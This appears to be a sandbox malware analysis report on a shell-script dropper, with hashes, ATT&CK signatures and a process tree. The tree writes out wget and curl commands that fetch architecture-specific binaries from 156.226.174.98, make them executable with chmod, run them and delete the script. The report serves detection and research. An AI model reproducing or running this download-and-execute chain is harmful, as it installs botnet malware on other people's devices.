Analysis
- max time kernel
64s - max time network
66s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
09/07/2026, 17:56
Static task
static1
Behavioral task
behavioral1
Sample
_5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
_5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
_5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
_5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh
Resource
debian9-mipsel-20260513-en
General
- Target _5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh
- Size 402B
- Sample260709-wjer1se17q
- SHA256 5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a
- MD5 7e191799f2483510e894d8e0d30915cf
- SHA1 43b4451a70caf878cac45d117e64636e59273e32
- SHA512 81e9fea749ef14ddaf9fcd3c0db1f79f26ad407818929fd8dc12f0df64e2fbfbaad71e24192c23c62a2a6c05fb0ed28bd3b768db1b74ccaf4f43050d979b363f
- TLSH T10EE02BE6A8924072DC8848DB55BBC98F114010231810355C703F693867DD5D5A975FFA
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 14 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 807 chmod 811 chmod 766 chmod 778 chmod 782 chmod 795 chmod 815 chmod 821 chmod 678 chmod 757 chmod 770 chmod 774 chmod 786 chmod 802 chmod - Executes dropped EXE 14 IoCs
ioc pid Process /tmp/arm 679 _5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh /tmp/arm5 758 _5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh /tmp/arm6 767 _5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh /tmp/arm7 771 _5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh /tmp/x86 775 _5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh /tmp/x86_32 779 _5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh /tmp/m68k 783 _5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh /tmp/mips 787 _5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh /tmp/mpsl 796 _5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh /tmp/ppc 803 _5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh /tmp/ppc440 808 _5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh /tmp/sh4 812 _5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh /tmp/sparc 816 _5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh /tmp/x86_64 822 _5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh - Checks CPU configuration 1 TTPs 14 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl - System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 787 sh 784 wget 785 curl 787 mips - Writes file to tmp directory 25 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/sparc wget File opened for modification /tmp/arm6 curl File opened for modification /tmp/mips wget File opened for modification /tmp/arm7 wget File opened for modification /tmp/arm7 curl File opened for modification /tmp/x86_32 wget File opened for modification /tmp/m68k curl File opened for modification /tmp/mpsl wget File opened for modification /tmp/ppc440 wget File opened for modification /tmp/sh4 curl File opened for modification /tmp/x86_64 curl File opened for modification /tmp/arm wget File opened for modification /tmp/arm6 wget File opened for modification /tmp/x86 curl File opened for modification /tmp/x86_32 curl File opened for modification /tmp/ppc wget File opened for modification /tmp/ppc440 curl File opened for modification /tmp/sparc curl File opened for modification /tmp/x86_64 wget File opened for modification /tmp/arm curl File opened for modification /tmp/arm5 wget File opened for modification /tmp/x86 wget File opened for modification /tmp/m68k wget File opened for modification /tmp/mips curl File opened for modification /tmp/sh4 wget
Processes
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/tmp/_5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh/tmp/_5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh1⤵
- Executes dropped EXE
PID:648 -
/usr/bin/wgetwget http://156.226.174.98/release/arm -O /tmp/arm2⤵
- Writes file to tmp directory
PID:650
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/usr/bin/curlcurl -s -o /tmp/arm http://156.226.174.98/release/arm2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:668
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/bin/chmodchmod +x /tmp/arm2⤵
- File and Directory Permissions Modification
PID:678
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/usr/bin/wgetwget http://156.226.174.98/release/arm5 -O /tmp/arm52⤵
- Writes file to tmp directory
PID:680
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/tmp/arm/tmp/arm aterna2⤵PID:679
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/bin/sh/bin/sh /tmp/arm aterna2⤵PID:679
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/usr/bin/curlcurl -s -o /tmp/arm5 http://156.226.174.98/release/arm52⤵
- Checks CPU configuration
- Reads runtime system information
PID:756
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/bin/chmodchmod +x /tmp/arm52⤵
- File and Directory Permissions Modification
PID:757
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/usr/bin/wgetwget http://156.226.174.98/release/arm6 -O /tmp/arm62⤵
- Writes file to tmp directory
PID:759
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/tmp/arm5/tmp/arm5 aterna2⤵PID:758
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/bin/sh/bin/sh /tmp/arm5 aterna2⤵PID:758
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/usr/bin/curlcurl -s -o /tmp/arm6 http://156.226.174.98/release/arm62⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:765
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/bin/chmodchmod +x /tmp/arm62⤵
- File and Directory Permissions Modification
PID:766
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/usr/bin/wgetwget http://156.226.174.98/release/arm7 -O /tmp/arm72⤵
- Writes file to tmp directory
PID:768
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/tmp/arm6/tmp/arm6 aterna2⤵PID:767
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/bin/sh/bin/sh /tmp/arm6 aterna2⤵PID:767
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/usr/bin/curlcurl -s -o /tmp/arm7 http://156.226.174.98/release/arm72⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:769
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/bin/chmodchmod +x /tmp/arm72⤵
- File and Directory Permissions Modification
PID:770
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/usr/bin/wgetwget http://156.226.174.98/release/x86 -O /tmp/x862⤵
- Writes file to tmp directory
PID:772
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/tmp/arm7/tmp/arm7 aterna2⤵PID:771
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/bin/sh/bin/sh /tmp/arm7 aterna2⤵PID:771
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/usr/bin/curlcurl -s -o /tmp/x86 http://156.226.174.98/release/x862⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:773
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/bin/chmodchmod +x /tmp/x862⤵
- File and Directory Permissions Modification
PID:774
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/usr/bin/wgetwget http://156.226.174.98/release/x86_32 -O /tmp/x86_322⤵
- Writes file to tmp directory
PID:776
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/tmp/x86/tmp/x86 aterna2⤵PID:775
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/bin/sh/bin/sh /tmp/x86 aterna2⤵PID:775
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/usr/bin/curlcurl -s -o /tmp/x86_32 http://156.226.174.98/release/x86_322⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:777
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/bin/chmodchmod +x /tmp/x86_322⤵
- File and Directory Permissions Modification
PID:778
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/usr/bin/wgetwget http://156.226.174.98/release/m68k -O /tmp/m68k2⤵
- Writes file to tmp directory
PID:780
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/tmp/x86_32/tmp/x86_32 aterna2⤵PID:779
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/bin/sh/bin/sh /tmp/x86_32 aterna2⤵PID:779
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/usr/bin/curlcurl -s -o /tmp/m68k http://156.226.174.98/release/m68k2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:781
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/bin/chmodchmod +x /tmp/m68k2⤵
- File and Directory Permissions Modification
PID:782
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/usr/bin/wgetwget http://156.226.174.98/release/mips -O /tmp/mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:784
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/tmp/m68k/tmp/m68k aterna2⤵PID:783
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/bin/sh/bin/sh /tmp/m68k aterna2⤵PID:783
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/usr/bin/curlcurl -s -o /tmp/mips http://156.226.174.98/release/mips2⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:785
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/bin/chmodchmod +x /tmp/mips2⤵
- File and Directory Permissions Modification
PID:786
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/usr/bin/wgetwget http://156.226.174.98/release/mpsl -O /tmp/mpsl2⤵
- Writes file to tmp directory
PID:788
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/tmp/mips/tmp/mips aterna2⤵
- System Network Configuration Discovery
PID:787
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/bin/sh/bin/sh /tmp/mips aterna2⤵
- System Network Configuration Discovery
PID:787
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/usr/bin/curlcurl -s -o /tmp/mpsl http://156.226.174.98/release/mpsl2⤵
- Checks CPU configuration
- Reads runtime system information
PID:794
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/bin/chmodchmod +x /tmp/mpsl2⤵
- File and Directory Permissions Modification
PID:795
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/usr/bin/wgetwget http://156.226.174.98/release/ppc -O /tmp/ppc2⤵
- Writes file to tmp directory
PID:797
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/tmp/mpsl/tmp/mpsl aterna2⤵PID:796
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/bin/sh/bin/sh /tmp/mpsl aterna2⤵PID:796
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/usr/bin/curlcurl -s -o /tmp/ppc http://156.226.174.98/release/ppc2⤵
- Checks CPU configuration
- Reads runtime system information
PID:799
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/bin/chmodchmod +x /tmp/ppc2⤵
- File and Directory Permissions Modification
PID:802
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/usr/bin/wgetwget http://156.226.174.98/release/ppc440 -O /tmp/ppc4402⤵
- Writes file to tmp directory
PID:804
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/tmp/ppc/tmp/ppc aterna2⤵PID:803
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/bin/sh/bin/sh /tmp/ppc aterna2⤵PID:803
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/usr/bin/curlcurl -s -o /tmp/ppc440 http://156.226.174.98/release/ppc4402⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:806
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/bin/chmodchmod +x /tmp/ppc4402⤵
- File and Directory Permissions Modification
PID:807
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/usr/bin/wgetwget http://156.226.174.98/release/sh4 -O /tmp/sh42⤵
- Writes file to tmp directory
PID:809
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/tmp/ppc440/tmp/ppc440 aterna2⤵PID:808
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/bin/sh/bin/sh /tmp/ppc440 aterna2⤵PID:808
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/usr/bin/curlcurl -s -o /tmp/sh4 http://156.226.174.98/release/sh42⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:810
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/bin/chmodchmod +x /tmp/sh42⤵
- File and Directory Permissions Modification
PID:811
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/usr/bin/wgetwget http://156.226.174.98/release/sparc -O /tmp/sparc2⤵
- Writes file to tmp directory
PID:813
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/tmp/sh4/tmp/sh4 aterna2⤵PID:812
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/bin/sh/bin/sh /tmp/sh4 aterna2⤵PID:812
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/usr/bin/curlcurl -s -o /tmp/sparc http://156.226.174.98/release/sparc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:814
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/bin/chmodchmod +x /tmp/sparc2⤵
- File and Directory Permissions Modification
PID:815
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/usr/bin/wgetwget http://156.226.174.98/release/x86_64 -O /tmp/x86_642⤵
- Writes file to tmp directory
PID:817
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/tmp/sparc/tmp/sparc aterna2⤵PID:816
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/bin/sh/bin/sh /tmp/sparc aterna2⤵PID:816
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/usr/bin/curlcurl -s -o /tmp/x86_64 http://156.226.174.98/release/x86_642⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:820
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/bin/chmodchmod +x /tmp/x86_642⤵
- File and Directory Permissions Modification
PID:821
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/bin/rmrm -f /tmp/bins.sh2⤵PID:823
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/tmp/x86_64/tmp/x86_64 aterna2⤵PID:822
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/bin/sh/bin/sh /tmp/x86_64 aterna2⤵PID:822
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Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
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Downloads
- Path /tmp/arm
- Size 19B
- SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
- MD5 595e88012a6521aae3e12cbebe76eb9e
- SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
- SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
- MD5 SHA1 SHA512